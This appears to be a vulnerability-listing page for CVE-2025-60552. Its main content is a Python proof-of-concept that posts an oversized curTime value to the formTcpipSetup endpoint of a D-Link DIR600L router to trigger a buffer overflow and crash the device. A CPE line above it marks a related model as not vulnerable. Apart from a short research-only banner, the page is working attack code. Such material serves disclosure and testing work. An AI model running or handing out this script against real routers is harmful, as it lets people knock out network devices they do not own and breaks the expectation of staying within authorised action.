cpe:2.3:h:dlink:dir-600l:a1:*:*:*:*:*:*:* - NOT VULNERABLE
D-Link DIR600L Ax FW116WWb01
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# CVE-2025-60552 PoC - D-Link DIR600L Ax Buffer Overflow in formTcpipSetup
# Target: D-Link DIR600L Ax FW116WWb01
# Vulnerability: Buffer overflow via curTime parameter
TARGET_IP = "192.168.0.1" # Default D-Link router IP
TARGET_URL = f"http://{TARGET_IP}/formTcpipSetup"
def exploit_buffer_overflow():
"""
PoC for CVE-2025-60552
This demonstrates the buffer overflow vulnerability in formTcpipSetup function
via the curTime parameter.
"""
# Create a payload with excessive length to trigger buffer overflow
# The exact overflow length may vary based on firmware version
overflow_length = 1024 # Adjust based on actual buffer size
malicious_payload = "A" * overflow_length
# Construct the exploit request
# The curTime parameter is vulnerable to buffer overflow
data = {
"curTime": malicious_payload,
"submit": "Submit"
}
try:
print(f"[*] Sending exploit payload to {TARGET_URL}")
print(f"[*] Payload length: {len(malicious_payload)} bytes")
# Send the malicious request
response = requests.post(TARGET_URL, data=data, timeout=10)
print(f"[+] Request sent. Status code: {response.status_code}")
print(f"[*] If vulnerable, the router may crash or become unresponsive")
return True
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
return False
def check_vulnerability():
"""
Check if the target is vulnerable to CVE-2025-60552
"""
# Small test payload to check for vulnerability indicators
test_payload = "A" * 100
data = {"curTime": test_payload}
try:
response = requests.post(TARGET_URL, data=data, timeout=10)
# If we get a response without error, the parameter is processed
# Further analysis needed to confirm vulnerability
return True
except:
return False
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-60552 D-Link DIR600L Ax Buffer Overflow PoC")
print("=" * 60)
# Check vulnerability
if check_vulnerability():
print("[*] Target appears to be running the vulnerable service")
# Uncomment to actually exploit
# exploit_buffer_overflow()
else:
print("[-] Target does not appear vulnerable or is unreachable")